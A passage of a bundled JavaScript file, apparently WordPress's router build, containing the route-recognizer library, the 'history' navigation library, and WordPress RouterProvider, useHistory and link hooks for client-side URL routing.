            returned.push(child$1);
        }
    }
    return returned;
};
function isMatch(spec, char) {
    return spec.negate ? spec.char !== char && spec.char !== -1 /* ANY */ : spec.char === char || spec.char === -1 /* ANY */;
}
// This is a somewhat naive strategy, but should work in a lot of cases
// A better strategy would properly resolve /posts/:id/new and /posts/edit/:id.
//
// This strategy generally prefers more static and less dynamic matching.
// Specifically, it
//
//  * prefers fewer stars to more, then
//  * prefers using stars for less of the match to more, then
//  * prefers fewer dynamic segments to more, then
//  * prefers more static segments to more
function sortSolutions(states) {
    return states.sort(function (a, b) {
        var ref = a.types || [0, 0, 0];
        var astatics = ref[0];
        var adynamics = ref[1];
        var astars = ref[2];
        var ref$1 = b.types || [0, 0, 0];
        var bstatics = ref$1[0];
        var bdynamics = ref$1[1];
        var bstars = ref$1[2];
        if (astars !== bstars) {
            return astars - bstars;
        }
        if (astars) {
            if (astatics !== bstatics) {
                return bstatics - astatics;
            }
            if (adynamics !== bdynamics) {
                return bdynamics - adynamics;
            }
        }
        if (adynamics !== bdynamics) {
            return adynamics - bdynamics;
        }
        if (astatics !== bstatics) {
            return bstatics - astatics;
        }
        return 0;
    });
}
function recognizeChar(states, ch) {
    var nextStates = [];
    for (var i = 0, l = states.length; i < l; i++) {
        var state = states[i];
        nextStates = nextStates.concat(state.match(ch));
    }
    return nextStates;
}
var RecognizeResults = function RecognizeResults(queryParams) {
    this.length = 0;
    this.queryParams = queryParams || {};
};

RecognizeResults.prototype.splice = Array.prototype.splice;
RecognizeResults.prototype.slice = Array.prototype.slice;
RecognizeResults.prototype.push = Array.prototype.push;
function findHandler(state, originalPath, queryParams) {
    var handlers = state.handlers;
    var regex = state.regex();
    if (!regex || !handlers)
        { throw new Error("state not initialized"); }
    var captures = originalPath.match(regex);
    var currentCapture = 1;
    var result = new RecognizeResults(queryParams);
    result.length = handlers.length;
    for (var i = 0; i < handlers.length; i++) {
        var handler = handlers[i];
        var names = handler.names;
        var shouldDecodes = handler.shouldDecodes;
        var params = EmptyObject;
        var isDynamic = false;
        if (names !== EmptyArray && shouldDecodes !== EmptyArray) {
            for (var j = 0; j < names.length; j++) {
                isDynamic = true;
                var name = names[j];
                var capture = captures && captures[currentCapture++];
                if (params === EmptyObject) {
                    params = {};
                }
                if (RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS && shouldDecodes[j]) {
                    params[name] = capture && decodeURIComponent(capture);
                }
                else {
                    params[name] = capture;
                }
            }
        }
        result[i] = {
            handler: handler.handler,
            params: params,
            isDynamic: isDynamic
        };
    }
    return result;
}
function decodeQueryParamPart(part) {
    // http://www.w3.org/TR/html401/interact/forms.html#h-17.13.4.1
    part = part.replace(/\+/gm, "%20");
    var result;
    try {
        result = decodeURIComponent(part);
    }
    catch (error) {
        result = "";
    }
    return result;
}
var RouteRecognizer = function RouteRecognizer() {
    this.names = createMap();
    var states = [];
    var state = new State(states, 0, -1 /* ANY */, true, false);
    states[0] = state;
    this.states = states;
    this.rootState = state;
};
RouteRecognizer.prototype.add = function add (routes, options) {
    var currentState = this.rootState;
    var pattern = "^";
    var types = [0, 0, 0];
    var handlers = new Array(routes.length);
    var allSegments = [];
    var isEmpty = true;
    var j = 0;
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        var ref = parse(allSegments, route.path, types);
            var names = ref.names;
            var shouldDecodes = ref.shouldDecodes;
        // preserve j so it points to the start of newly added segments
        for (; j < allSegments.length; j++) {
            var segment = allSegments[j];
            if (segment.type === 4 /* Epsilon */) {
                continue;
            }
            isEmpty = false;
            // Add a "/" for the new segment
            currentState = currentState.put(47 /* SLASH */, false, false);
            pattern += "/";
            // Add a representation of the segment to the NFA and regex
            currentState = eachChar[segment.type](segment, currentState);
            pattern += regex[segment.type](segment);
        }
        handlers[i] = {
            handler: route.handler,
            names: names,
            shouldDecodes: shouldDecodes
        };
    }
    if (isEmpty) {
        currentState = currentState.put(47 /* SLASH */, false, false);
        pattern += "/";
    }
    currentState.handlers = handlers;
    currentState.pattern = pattern + "$";
    currentState.types = types;
    var name;
    if (typeof options === "object" && options !== null && options.as) {
        name = options.as;
    }
    if (name) {
        // if (this.names[name]) {
        //   throw new Error("You may not add a duplicate route named `" + name + "`.");
        // }
        this.names[name] = {
            segments: allSegments,
            handlers: handlers
        };
    }
};
RouteRecognizer.prototype.handlersFor = function handlersFor (name) {
    var route = this.names[name];
    if (!route) {
        throw new Error("There is no route named " + name);
    }
    var result = new Array(route.handlers.length);
    for (var i = 0; i < route.handlers.length; i++) {
        var handler = route.handlers[i];
        result[i] = handler;
    }
    return result;
};
RouteRecognizer.prototype.hasRoute = function hasRoute (name) {
    return !!this.names[name];
};
RouteRecognizer.prototype.generate = function generate$1 (name, params) {
    var route = this.names[name];
    var output = "";
    if (!route) {
        throw new Error("There is no route named " + name);
    }
    var segments = route.segments;
    for (var i = 0; i < segments.length; i++) {
        var segment = segments[i];
        if (segment.type === 4 /* Epsilon */) {
            continue;
        }
        output += "/";
        output += generate[segment.type](segment, params);
    }
    if (output.charAt(0) !== "/") {
        output = "/" + output;
    }
    if (params && params.queryParams) {
        output += this.generateQueryString(params.queryParams);
    }
    return output;
};
RouteRecognizer.prototype.generateQueryString = function generateQueryString (params) {
    var pairs = [];
    var keys = Object.keys(params);
    keys.sort();
    for (var i = 0; i < keys.length; i++) {
        var key = keys[i];
        var value = params[key];
        if (value == null) {
            continue;
        }
        var pair = encodeURIComponent(key);
        if (isArray(value)) {
            for (var j = 0; j < value.length; j++) {
                var arrayPair = key + "[]" + "=" + encodeURIComponent(value[j]);
                pairs.push(arrayPair);
            }
        }
        else {
            pair += "=" + encodeURIComponent(value);
            pairs.push(pair);
        }
    }
    if (pairs.length === 0) {
        return "";
    }
    return "?" + pairs.join("&");
};
RouteRecognizer.prototype.parseQueryString = function parseQueryString (queryString) {
    var pairs = queryString.split("&");
    var queryParams = {};
    for (var i = 0; i < pairs.length; i++) {
        var pair = pairs[i].split("="), key = decodeQueryParamPart(pair[0]), keyLength = key.length, isArray = false, value = (void 0);
        if (pair.length === 1) {
            value = "true";
        }
        else {
            // Handle arrays
            if (keyLength > 2 && key.slice(keyLength - 2) === "[]") {
                isArray = true;
                key = key.slice(0, keyLength - 2);
                if (!queryParams[key]) {
                    queryParams[key] = [];
                }
            }
            value = pair[1] ? decodeQueryParamPart(pair[1]) : "";
        }
        if (isArray) {
            queryParams[key].push(value);
        }
        else {
            queryParams[key] = value;
        }
    }
    return queryParams;
};
RouteRecognizer.prototype.recognize = function recognize (path) {
    var results;
    var states = [this.rootState];
    var queryParams = {};
    var isSlashDropped = false;
    var hashStart = path.indexOf("#");
    if (hashStart !== -1) {
        path = path.substr(0, hashStart);
    }
    var queryStart = path.indexOf("?");
    if (queryStart !== -1) {
        var queryString = path.substr(queryStart + 1, path.length);
        path = path.substr(0, queryStart);
        queryParams = this.parseQueryString(queryString);
    }
    if (path.charAt(0) !== "/") {
        path = "/" + path;
    }
    var originalPath = path;
    if (RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS) {
        path = normalizePath(path);
    }
    else {
        path = decodeURI(path);
        originalPath = decodeURI(originalPath);
    }
    var pathLen = path.length;
    if (pathLen > 1 && path.charAt(pathLen - 1) === "/") {
        path = path.substr(0, pathLen - 1);
        originalPath = originalPath.substr(0, originalPath.length - 1);
        isSlashDropped = true;
    }
    for (var i = 0; i < path.length; i++) {
        states = recognizeChar(states, path.charCodeAt(i));
        if (!states.length) {
            break;
        }
    }
    var solutions = [];
    for (var i$1 = 0; i$1 < states.length; i$1++) {
        if (states[i$1].handlers) {
            solutions.push(states[i$1]);
        }
    }
    states = sortSolutions(solutions);
    var state = solutions[0];
    if (state && state.handlers) {
        // if a trailing slash was dropped and a star segment is the last segment
        // specified, put the trailing slash back
        if (isSlashDropped && state.pattern && state.pattern.slice(-5) === "(.+)$") {
            originalPath = originalPath + "/";
        }
        results = findHandler(state, originalPath, queryParams);
    }
    return results;
};
RouteRecognizer.VERSION = "0.3.4";
// Set to false to opt-out of encoding and decoding path segments.
// See https://github.com/tildeio/route-recognizer/pull/55
RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS = true;
RouteRecognizer.Normalizer = {
    normalizeSegment: normalizeSegment, normalizePath: normalizePath, encodePathSegment: encodePathSegment
};
RouteRecognizer.prototype.map = map;

/* harmony default export */ const route_recognizer_es = (RouteRecognizer);


;// ./node_modules/@babel/runtime/helpers/esm/extends.js
function extends_extends() {
  return extends_extends = Object.assign ? Object.assign.bind() : function (n) {
    for (var e = 1; e < arguments.length; e++) {
      var t = arguments[e];
      for (var r in t) ({}).hasOwnProperty.call(t, r) && (n[r] = t[r]);
    }
    return n;
  }, extends_extends.apply(null, arguments);
}

;// ./node_modules/history/index.js


/**
 * Actions represent the type of change to a location value.
 *
 * @see https://github.com/remix-run/history/tree/main/docs/api-reference.md#action
 */
var Action;

(function (Action) {
  /**
   * A POP indicates a change to an arbitrary index in the history stack, such
   * as a back or forward navigation. It does not describe the direction of the
   * navigation, only that the current index changed.
   *
   * Note: This is the default action for newly created history objects.
   */
  Action["Pop"] = "POP";
  /**
   * A PUSH indicates a new entry being added to the history stack, such as when
   * a link is clicked and a new page loads. When this happens, all subsequent
   * entries in the stack are lost.
   */

  Action["Push"] = "PUSH";
  /**
   * A REPLACE indicates the entry at the current index in the history stack
   * being replaced by a new one.
   */

  Action["Replace"] = "REPLACE";
})(Action || (Action = {}));

var readOnly =  false ? 0 : function (obj) {
  return obj;
};

function warning(cond, message) {
  if (!cond) {
    // eslint-disable-next-line no-console
    if (typeof console !== 'undefined') console.warn(message);

    try {
      // Welcome to debugging history!
      //
      // This error is thrown as a convenience so you can more easily
      // find the source for a warning that appears in the console by
      // enabling "pause on exceptions" in your JavaScript debugger.
      throw new Error(message); // eslint-disable-next-line no-empty
    } catch (e) {}
  }
}

var BeforeUnloadEventType = 'beforeunload';
var HashChangeEventType = 'hashchange';
var PopStateEventType = 'popstate';
/**
 * Browser history stores the location in regular URLs. This is the standard for
 * most web apps, but it requires some configuration on the server to ensure you
 * serve the same app at multiple URLs.
 *
 * @see https://github.com/remix-run/history/tree/main/docs/api-reference.md#createbrowserhistory
 */

function createBrowserHistory(options) {
  if (options === void 0) {
    options = {};
  }

  var _options = options,
      _options$window = _options.window,
      window = _options$window === void 0 ? document.defaultView : _options$window;
  var globalHistory = window.history;

  function getIndexAndLocation() {
    var _window$location = window.location,
        pathname = _window$location.pathname,
        search = _window$location.search,
        hash = _window$location.hash;
    var state = globalHistory.state || {};
    return [state.idx, readOnly({
      pathname: pathname,
      search: search,
      hash: hash,
      state: state.usr || null,
      key: state.key || 'default'
    })];
  }

  var blockedPopTx = null;

  function handlePop() {
    if (blockedPopTx) {
      blockers.call(blockedPopTx);
      blockedPopTx = null;
    } else {
      var nextAction = Action.Pop;

      var _getIndexAndLocation = getIndexAndLocation(),
          nextIndex = _getIndexAndLocation[0],
          nextLocation = _getIndexAndLocation[1];

      if (blockers.length) {
        if (nextIndex != null) {
          var delta = index - nextIndex;

          if (delta) {
            // Revert the POP
            blockedPopTx = {
              action: nextAction,
              location: nextLocation,
              retry: function retry() {
                go(delta * -1);
              }
            };
            go(delta);
          }
        } else {
          // Trying to POP to a location with no index. We did not create
          // this location, so we can't effectively block the navigation.
           false ? 0 : void 0;
        }
      } else {
        applyTx(nextAction);
      }
    }
  }

  window.addEventListener(PopStateEventType, handlePop);
  var action = Action.Pop;

  var _getIndexAndLocation2 = getIndexAndLocation(),
      index = _getIndexAndLocation2[0],
      location = _getIndexAndLocation2[1];

  var listeners = createEvents();
  var blockers = createEvents();

  if (index == null) {
    index = 0;
    globalHistory.replaceState(extends_extends({}, globalHistory.state, {
      idx: index
    }), '');
  }

  function createHref(to) {
    return typeof to === 'string' ? to : createPath(to);
  } // state defaults to `null` because `window.history.state` does


  function getNextLocation(to, state) {
    if (state === void 0) {
      state = null;
    }

    return readOnly(extends_extends({
      pathname: location.pathname,
      hash: '',
      search: ''
    }, typeof to === 'string' ? parsePath(to) : to, {
      state: state,
      key: createKey()
    }));
  }

  function getHistoryStateAndUrl(nextLocation, index) {
    return [{
      usr: nextLocation.state,
      key: nextLocation.key,
      idx: index
    }, createHref(nextLocation)];
  }

  function allowTx(action, location, retry) {
    return !blockers.length || (blockers.call({
      action: action,
      location: location,
      retry: retry
    }), false);
  }

  function applyTx(nextAction) {
    action = nextAction;

    var _getIndexAndLocation3 = getIndexAndLocation();

    index = _getIndexAndLocation3[0];
    location = _getIndexAndLocation3[1];
    listeners.call({
      action: action,
      location: location
    });
  }

  function push(to, state) {
    var nextAction = Action.Push;
    var nextLocation = getNextLocation(to, state);

    function retry() {
      push(to, state);
    }

    if (allowTx(nextAction, nextLocation, retry)) {
      var _getHistoryStateAndUr = getHistoryStateAndUrl(nextLocation, index + 1),
          historyState = _getHistoryStateAndUr[0],
          url = _getHistoryStateAndUr[1]; // TODO: Support forced reloading
      // try...catch because iOS limits us to 100 pushState calls :/


      try {
        globalHistory.pushState(historyState, '', url);
      } catch (error) {
        // They are going to lose state here, but there is no real
        // way to warn them about it since the page will refresh...
        window.location.assign(url);
      }

      applyTx(nextAction);
    }
  }

  function replace(to, state) {
    var nextAction = Action.Replace;
    var nextLocation = getNextLocation(to, state);

    function retry() {
      replace(to, state);
    }

    if (allowTx(nextAction, nextLocation, retry)) {
      var _getHistoryStateAndUr2 = getHistoryStateAndUrl(nextLocation, index),
          historyState = _getHistoryStateAndUr2[0],
          url = _getHistoryStateAndUr2[1]; // TODO: Support forced reloading


      globalHistory.replaceState(historyState, '', url);
      applyTx(nextAction);
    }
  }

  function go(delta) {
    globalHistory.go(delta);
  }

  var history = {
    get action() {
      return action;
    },

    get location() {
      return location;
    },

    createHref: createHref,
    push: push,
    replace: replace,
    go: go,
    back: function back() {
      go(-1);
    },
    forward: function forward() {
      go(1);
    },
    listen: function listen(listener) {
      return listeners.push(listener);
    },
    block: function block(blocker) {
      var unblock = blockers.push(blocker);

      if (blockers.length === 1) {
        window.addEventListener(BeforeUnloadEventType, promptBeforeUnload);
      }

      return function () {
        unblock(); // Remove the beforeunload listener so the document may
        // still be salvageable in the pagehide event.
        // See https://html.spec.whatwg.org/#unloading-documents

        if (!blockers.length) {
          window.removeEventListener(BeforeUnloadEventType, promptBeforeUnload);
        }
      };
    }
  };
  return history;
}
/**
 * Hash history stores the location in window.location.hash. This makes it ideal
 * for situations where you don't want to send the location to the server for
 * some reason, either because you do cannot configure it or the URL space is
 * reserved for something else.
 *
 * @see https://github.com/remix-run/history/tree/main/docs/api-reference.md#createhashhistory
 */

function createHashHistory(options) {
  if (options === void 0) {
    options = {};
  }

  var _options2 = options,
      _options2$window = _options2.window,
      window = _options2$window === void 0 ? document.defaultView : _options2$window;
  var globalHistory = window.history;

  function getIndexAndLocation() {
    var _parsePath = parsePath(window.location.hash.substr(1)),
        _parsePath$pathname = _parsePath.pathname,
        pathname = _parsePath$pathname === void 0 ? '/' : _parsePath$pathname,
        _parsePath$search = _parsePath.search,
        search = _parsePath$search === void 0 ? '' : _parsePath$search,
        _parsePath$hash = _parsePath.hash,
        hash = _parsePath$hash === void 0 ? '' : _parsePath$hash;

    var state = globalHistory.state || {};
    return [state.idx, readOnly({
      pathname: pathname,
      search: search,
      hash: hash,
      state: state.usr || null,
      key: state.key || 'default'
    })];
  }

  var blockedPopTx = null;

  function handlePop() {
    if (blockedPopTx) {
      blockers.call(blockedPopTx);
      blockedPopTx = null;
    } else {
      var nextAction = Action.Pop;

      var _getIndexAndLocation4 = getIndexAndLocation(),
          nextIndex = _getIndexAndLocation4[0],
          nextLocation = _getIndexAndLocation4[1];

      if (blockers.length) {
        if (nextIndex != null) {
          var delta = index - nextIndex;

          if (delta) {
            // Revert the POP
            blockedPopTx = {
              action: nextAction,
              location: nextLocation,
              retry: function retry() {
                go(delta * -1);
              }
            };
            go(delta);
          }
        } else {
          // Trying to POP to a location with no index. We did not create
          // this location, so we can't effectively block the navigation.
           false ? 0 : void 0;
        }
      } else {
        applyTx(nextAction);
      }
    }
  }

  window.addEventListener(PopStateEventType, handlePop); // popstate does not fire on hashchange in IE 11 and old (trident) Edge
  // https://developer.mozilla.org/de/docs/Web/API/Window/popstate_event

  window.addEventListener(HashChangeEventType, function () {
    var _getIndexAndLocation5 = getIndexAndLocation(),
        nextLocation = _getIndexAndLocation5[1]; // Ignore extraneous hashchange events.


    if (createPath(nextLocation) !== createPath(location)) {
      handlePop();
    }
  });
  var action = Action.Pop;

  var _getIndexAndLocation6 = getIndexAndLocation(),
      index = _getIndexAndLocation6[0],
      location = _getIndexAndLocation6[1];

  var listeners = createEvents();
  var blockers = createEvents();

  if (index == null) {
    index = 0;
    globalHistory.replaceState(_extends({}, globalHistory.state, {
      idx: index
    }), '');
  }

  function getBaseHref() {
    var base = document.querySelector('base');
    var href = '';

    if (base && base.getAttribute('href')) {
      var url = window.location.href;
      var hashIndex = url.indexOf('#');
      href = hashIndex === -1 ? url : url.slice(0, hashIndex);
    }

    return href;
  }

  function createHref(to) {
    return getBaseHref() + '#' + (typeof to === 'string' ? to : createPath(to));
  }

  function getNextLocation(to, state) {
    if (state === void 0) {
      state = null;
    }

    return readOnly(_extends({
      pathname: location.pathname,
      hash: '',
      search: ''
    }, typeof to === 'string' ? parsePath(to) : to, {
      state: state,
      key: createKey()
    }));
  }

  function getHistoryStateAndUrl(nextLocation, index) {
    return [{
      usr: nextLocation.state,
      key: nextLocation.key,
      idx: index
    }, createHref(nextLocation)];
  }

  function allowTx(action, location, retry) {
    return !blockers.length || (blockers.call({
      action: action,
      location: location,
      retry: retry
    }), false);
  }

  function applyTx(nextAction) {
    action = nextAction;

    var _getIndexAndLocation7 = getIndexAndLocation();

    index = _getIndexAndLocation7[0];
    location = _getIndexAndLocation7[1];
    listeners.call({
      action: action,
      location: location
    });
  }

  function push(to, state) {
    var nextAction = Action.Push;
    var nextLocation = getNextLocation(to, state);

    function retry() {
      push(to, state);
    }

     false ? 0 : void 0;

    if (allowTx(nextAction, nextLocation, retry)) {
      var _getHistoryStateAndUr3 = getHistoryStateAndUrl(nextLocation, index + 1),
          historyState = _getHistoryStateAndUr3[0],
          url = _getHistoryStateAndUr3[1]; // TODO: Support forced reloading
      // try...catch because iOS limits us to 100 pushState calls :/


      try {
        globalHistory.pushState(historyState, '', url);
      } catch (error) {
        // They are going to lose state here, but there is no real
        // way to warn them about it since the page will refresh...
        window.location.assign(url);
      }

      applyTx(nextAction);
    }
  }

  function replace(to, state) {
    var nextAction = Action.Replace;
    var nextLocation = getNextLocation(to, state);

    function retry() {
      replace(to, state);
    }

     false ? 0 : void 0;

    if (allowTx(nextAction, nextLocation, retry)) {
      var _getHistoryStateAndUr4 = getHistoryStateAndUrl(nextLocation, index),
          historyState = _getHistoryStateAndUr4[0],
          url = _getHistoryStateAndUr4[1]; // TODO: Support forced reloading


      globalHistory.replaceState(historyState, '', url);
      applyTx(nextAction);
    }
  }

  function go(delta) {
    globalHistory.go(delta);
  }

  var history = {
    get action() {
      return action;
    },

    get location() {
      return location;
    },

    createHref: createHref,
    push: push,
    replace: replace,
    go: go,
    back: function back() {
      go(-1);
    },
    forward: function forward() {
      go(1);
    },
    listen: function listen(listener) {
      return listeners.push(listener);
    },
    block: function block(blocker) {
      var unblock = blockers.push(blocker);

      if (blockers.length === 1) {
        window.addEventListener(BeforeUnloadEventType, promptBeforeUnload);
      }

      return function () {
        unblock(); // Remove the beforeunload listener so the document may
        // still be salvageable in the pagehide event.
        // See https://html.spec.whatwg.org/#unloading-documents

        if (!blockers.length) {
          window.removeEventListener(BeforeUnloadEventType, promptBeforeUnload);
        }
      };
    }
  };
  return history;
}
/**
 * Memory history stores the current location in memory. It is designed for use
 * in stateful non-browser environments like tests and React Native.
 *
 * @see https://github.com/remix-run/history/tree/main/docs/api-reference.md#creatememoryhistory
 */

function createMemoryHistory(options) {
  if (options === void 0) {
    options = {};
  }

  var _options3 = options,
      _options3$initialEntr = _options3.initialEntries,
      initialEntries = _options3$initialEntr === void 0 ? ['/'] : _options3$initialEntr,
      initialIndex = _options3.initialIndex;
  var entries = initialEntries.map(function (entry) {
    var location = readOnly(_extends({
      pathname: '/',
      search: '',
      hash: '',
      state: null,
      key: createKey()
    }, typeof entry === 'string' ? parsePath(entry) : entry));
     false ? 0 : void 0;
    return location;
  });
  var index = clamp(initialIndex == null ? entries.length - 1 : initialIndex, 0, entries.length - 1);
  var action = Action.Pop;
  var location = entries[index];
  var listeners = createEvents();
  var blockers = createEvents();

  function createHref(to) {
    return typeof to === 'string' ? to : createPath(to);
  }

  function getNextLocation(to, state) {
    if (state === void 0) {
      state = null;
    }

    return readOnly(_extends({
      pathname: location.pathname,
      search: '',
      hash: ''
    }, typeof to === 'string' ? parsePath(to) : to, {
      state: state,
      key: createKey()
    }));
  }

  function allowTx(action, location, retry) {
    return !blockers.length || (blockers.call({
      action: action,
      location: location,
      retry: retry
    }), false);
  }

  function applyTx(nextAction, nextLocation) {
    action = nextAction;
    location = nextLocation;
    listeners.call({
      action: action,
      location: location
    });
  }

  function push(to, state) {
    var nextAction = Action.Push;
    var nextLocation = getNextLocation(to, state);

    function retry() {
      push(to, state);
    }

     false ? 0 : void 0;

    if (allowTx(nextAction, nextLocation, retry)) {
      index += 1;
      entries.splice(index, entries.length, nextLocation);
      applyTx(nextAction, nextLocation);
    }
  }

  function replace(to, state) {
    var nextAction = Action.Replace;
    var nextLocation = getNextLocation(to, state);

    function retry() {
      replace(to, state);
    }

     false ? 0 : void 0;

    if (allowTx(nextAction, nextLocation, retry)) {
      entries[index] = nextLocation;
      applyTx(nextAction, nextLocation);
    }
  }

  function go(delta) {
    var nextIndex = clamp(index + delta, 0, entries.length - 1);
    var nextAction = Action.Pop;
    var nextLocation = entries[nextIndex];

    function retry() {
      go(delta);
    }

    if (allowTx(nextAction, nextLocation, retry)) {
      index = nextIndex;
      applyTx(nextAction, nextLocation);
    }
  }

  var history = {
    get index() {
      return index;
    },

    get action() {
      return action;
    },

    get location() {
      return location;
    },

    createHref: createHref,
    push: push,
    replace: replace,
    go: go,
    back: function back() {
      go(-1);
    },
    forward: function forward() {
      go(1);
    },
    listen: function listen(listener) {
      return listeners.push(listener);
    },
    block: function block(blocker) {
      return blockers.push(blocker);
    }
  };
  return history;
} ////////////////////////////////////////////////////////////////////////////////
// UTILS
////////////////////////////////////////////////////////////////////////////////

function clamp(n, lowerBound, upperBound) {
  return Math.min(Math.max(n, lowerBound), upperBound);
}

function promptBeforeUnload(event) {
  // Cancel the event.
  event.preventDefault(); // Chrome (and legacy IE) requires returnValue to be set.

  event.returnValue = '';
}

function createEvents() {
  var handlers = [];
  return {
    get length() {
      return handlers.length;
    },

    push: function push(fn) {
      handlers.push(fn);
      return function () {
        handlers = handlers.filter(function (handler) {
          return handler !== fn;
        });
      };
    },
    call: function call(arg) {
      handlers.forEach(function (fn) {
        return fn && fn(arg);
      });
    }
  };
}

function createKey() {
  return Math.random().toString(36).substr(2, 8);
}
/**
 * Creates a string URL path from the given pathname, search, and hash components.
 *
 * @see https://github.com/remix-run/history/tree/main/docs/api-reference.md#createpath
 */


function createPath(_ref) {
  var _ref$pathname = _ref.pathname,
      pathname = _ref$pathname === void 0 ? '/' : _ref$pathname,
      _ref$search = _ref.search,
      search = _ref$search === void 0 ? '' : _ref$search,
      _ref$hash = _ref.hash,
      hash = _ref$hash === void 0 ? '' : _ref$hash;
  if (search && search !== '?') pathname += search.charAt(0) === '?' ? search : '?' + search;
  if (hash && hash !== '#') pathname += hash.charAt(0) === '#' ? hash : '#' + hash;
  return pathname;
}
/**
 * Parses a string URL path into its separate pathname, search, and hash components.
 *
 * @see https://github.com/remix-run/history/tree/main/docs/api-reference.md#parsepath
 */

function parsePath(path) {
  var parsedPath = {};

  if (path) {
    var hashIndex = path.indexOf('#');

    if (hashIndex >= 0) {
      parsedPath.hash = path.substr(hashIndex);
      path = path.substr(0, hashIndex);
    }

    var searchIndex = path.indexOf('?');

    if (searchIndex >= 0) {
      parsedPath.search = path.substr(searchIndex);
      path = path.substr(0, searchIndex);
    }

    if (path) {
      parsedPath.pathname = path;
    }
  }

  return parsedPath;
}



;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","url"]
const external_wp_url_namespaceObject = window["wp"]["url"];
;// external ["wp","compose"]
const external_wp_compose_namespaceObject = window["wp"]["compose"];
;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// ./node_modules/@wordpress/router/build-module/router.js
/* wp:polyfill */
/**
 * External dependencies
 */



/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

const router_history = createBrowserHistory();
const RoutesContext = (0,external_wp_element_namespaceObject.createContext)(null);
const ConfigContext = (0,external_wp_element_namespaceObject.createContext)({
  pathArg: 'p'
});
const locationMemo = new WeakMap();
function getLocationWithQuery() {
  const location = router_history.location;
  let locationWithQuery = locationMemo.get(location);
  if (!locationWithQuery) {
    locationWithQuery = {
      ...location,
      query: Object.fromEntries(new URLSearchParams(location.search))
    };
    locationMemo.set(location, locationWithQuery);
  }
  return locationWithQuery;
}
function useLocation() {
  const context = (0,external_wp_element_namespaceObject.useContext)(RoutesContext);
  if (!context) {
    throw new Error('useLocation must be used within a RouterProvider');
  }
  return context;
}
function useHistory() {
  const {
    pathArg,
    beforeNavigate
  } = (0,external_wp_element_namespaceObject.useContext)(ConfigContext);
  const navigate = (0,external_wp_compose_namespaceObject.useEvent)(async (rawPath, options = {}) => {
    var _getPath;
    const query = (0,external_wp_url_namespaceObject.getQueryArgs)(rawPath);
    const path = (_getPath = (0,external_wp_url_namespaceObject.getPath)('http://domain.com/' + rawPath)) !== null && _getPath !== void 0 ? _getPath : '';
    const performPush = () => {
      const result = beforeNavigate ? beforeNavigate({
        path,
        query
      }) : {
        path,
        query
      };
      return router_history.push({
        search: (0,external_wp_url_namespaceObject.buildQueryString)({
          [pathArg]: result.path,
          ...result.query
        })
      }, options.state);
    };

    /*
     * Skip transition in mobile, otherwise it crashes the browser.
     * See: https://github.com/WordPress/gutenberg/pull/63002.
     */
    const isMediumOrBigger = window.matchMedia('(min-width: 782px)').matches;
    if (!isMediumOrBigger || !document.startViewTransition || !options.transition) {
      performPush();
      return;
    }
    await new Promise(resolve => {
      var _options$transition;
      const classname = (_options$transition = options.transition) !== null && _options$transition !== void 0 ? _options$transition : '';
      document.documentElement.classList.add(classname);
      const transition = document.startViewTransition(() => performPush());
      transition.finished.finally(() => {
        document.documentElement.classList.remove(classname);
        resolve();
      });
    });
  });
  return (0,external_wp_element_namespaceObject.useMemo)(() => ({
    navigate,
    back: router_history.back
  }), [navigate]);
}
function useMatch(location, matcher, pathArg, matchResolverArgs) {
  const {
    query: rawQuery = {}
  } = location;
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    const {
      [pathArg]: path = '/',
      ...query
    } = rawQuery;
    const result = matcher.recognize(path)?.[0];
    if (!result) {
      return {
        name: '404',
        path: (0,external_wp_url_namespaceObject.addQueryArgs)(path, query),
        areas: {},
        widths: {},
        query,
        params: {}
      };
    }
    const matchedRoute = result.handler;
    const resolveFunctions = (record = {}) => {
      return Object.fromEntries(Object.entries(record).map(([key, value]) => {
        if (typeof value === 'function') {
          return [key, value({
            query,
            params: result.params,
            ...matchResolverArgs
          })];
        }
        return [key, value];
      }));
    };
    return {
      name: matchedRoute.name,
      areas: resolveFunctions(matchedRoute.areas),
      widths: resolveFunctions(matchedRoute.widths),
      params: result.params,
      query,
      path: (0,external_wp_url_namespaceObject.addQueryArgs)(path, query)
    };
  }, [matcher, rawQuery, pathArg, matchResolverArgs]);
}
function RouterProvider({
  routes,
  pathArg,
  beforeNavigate,
  children,
  matchResolverArgs
}) {
  const location = (0,external_wp_element_namespaceObject.useSyncExternalStore)(router_history.listen, getLocationWithQuery, getLocationWithQuery);
  const matcher = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const ret = new route_recognizer_es();
    routes.forEach(route => {
      ret.add([{
        path: route.path,
        handler: route
      }], {
        as: route.name
      });
    });
    return ret;
  }, [routes]);
  const match = useMatch(location, matcher, pathArg, matchResolverArgs);
  const config = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    beforeNavigate,
    pathArg
  }), [beforeNavigate, pathArg]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ConfigContext.Provider, {
    value: config,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RoutesContext.Provider, {
      value: match,
      children: children
    })
  });
}

;// ./node_modules/@wordpress/router/build-module/link.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


function useLink(to, options = {}) {
  var _getPath;
  const history = useHistory();
  const {
    pathArg,
    beforeNavigate
  } = (0,external_wp_element_namespaceObject.useContext)(ConfigContext);
  function onClick(event) {
    event?.preventDefault();
    history.navigate(to, options);
  }
  const query = (0,external_wp_url_namespaceObject.getQueryArgs)(to);
  const path = (_getPath = (0,external_wp_url_namespaceObject.getPath)('http://domain.com/' + to)) !== null && _getPath !== void 0 ? _getPath : '';
  const link = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return beforeNavigate ? beforeNavigate({
      path,
      query
    }) : {
      path,
      query
    };
  }, [path, query, beforeNavigate]);
  const [before] = window.location.href.split('?');
  return {
    href: `${before}?${(0,external_wp_url_namespaceObject.buildQueryString)({
      [pathArg]: link.path,
      ...link.query
    })}`,
    onClick
  };
}
function Link({
  to,
  options,
  children,
  ...props
}) {
  const {
    href,
    onClick
  } = useLink(to, options);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("a", {
    href: href,
